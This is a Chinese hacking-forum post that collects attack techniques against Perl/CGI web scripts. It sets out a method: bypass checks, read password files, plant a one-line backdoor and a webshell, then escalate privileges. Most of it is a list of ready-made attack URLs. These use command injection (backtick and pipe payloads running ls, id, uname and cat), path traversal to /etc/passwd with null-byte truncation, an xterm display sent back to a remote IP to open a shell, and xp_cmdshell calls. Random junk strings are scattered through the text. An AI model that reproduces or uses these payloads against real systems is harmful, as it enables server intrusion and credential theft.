找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2524|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
) D: m, B! L& ycookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  % D4 }8 L- N2 _5 }) Z& v6 L
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ( [- C2 |" v; _3 E! H- [& M
注“  9 t7 q9 Q4 W# F/ H- j9 P
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  " Z2 z$ N% \6 C+ a$ c
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  1 Q8 k& V. z+ J: X7 y& y
4 V; N( Z* ]8 s4 r7 U' T3 }
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  0 `# u. v5 Y4 Y; F5 G% a
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
7 v, _0 T% k/ t, q$ Dhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  7 ^+ G4 ~2 E: G$ @6 U0 C
http://target.com/cgi-bin/home/news/sub.pl?`id`  
% t8 A- f* T' H3 d( ?9 ghttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
+ J6 f5 \/ Z8 l8 w8 F/ g; Dhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
( G! R) a, d% g3 |; |
; T  c$ p% J- {/ F; }http://target.com/test.pl;ls|  
/ F" z. f! w  e8 }2 Ohttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  6 {% g* Z) O# Z# f7 B3 x
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
4 }9 k* c- _% C7 r0 Bhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
4 M5 @7 b7 l$ R& W/ E比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
7 ]3 I5 d7 g" g" J) W# A7 Yhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  ! {5 ]# M) ]. B

; F/ L3 U7 x, O) @0 ~http://target.com/test.pl?&........ /../../etc/passwd  ' P# I% j4 L* ~3 C

0 P) {* z& {1 p! t! @6 B4 Z7 B5 q# {http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
% D: t; [) E2 W0 {8 khttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  " J, j1 `8 N; D( X' K5 k8 k
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  8 H; W' p1 t! h8 \, U, N

5 j* c9 c( d, _- ~6 {1 O; o' Q+ mhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  . s1 B( k- Y5 d( o: g4 Z
http://www.target.org/show.php?f ... ng/admin/global.php  ; C* M2 k9 t9 O
+ X2 ^% q  _0 O
emm和ps的一句话
& c8 ?+ g+ t2 i1 j
5 `% w6 B) ~3 s- S, N, Khttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
" Q/ B1 F* F2 R( C) y1 S& X7 n
>bbb%20|  
0 E: O, a  c4 r: G% T1 ]" y
6 u6 }7 T' I  Y8 shttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
9 C$ J/ V* k6 T4 V2 ?
3 ^. i3 f9 A, P2 U  P2 fhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  4 E2 v9 s& q9 t8 U3 z
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  6 |# x$ }3 L4 a' I1 S) a

/ S0 J# I( c/ X( v相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  2 t* v6 |% M0 f4 g% B, U& w
http://target.com/index.html#cmd.exe  7 U, l: v0 T& h( z5 y3 {  G
http://target.com/index.html?dummyparam=xp_cmdshell  0 L7 Q5 X1 ^1 v4 I! K
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
* n$ K/ |" {& R6 F4 J& `+ g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表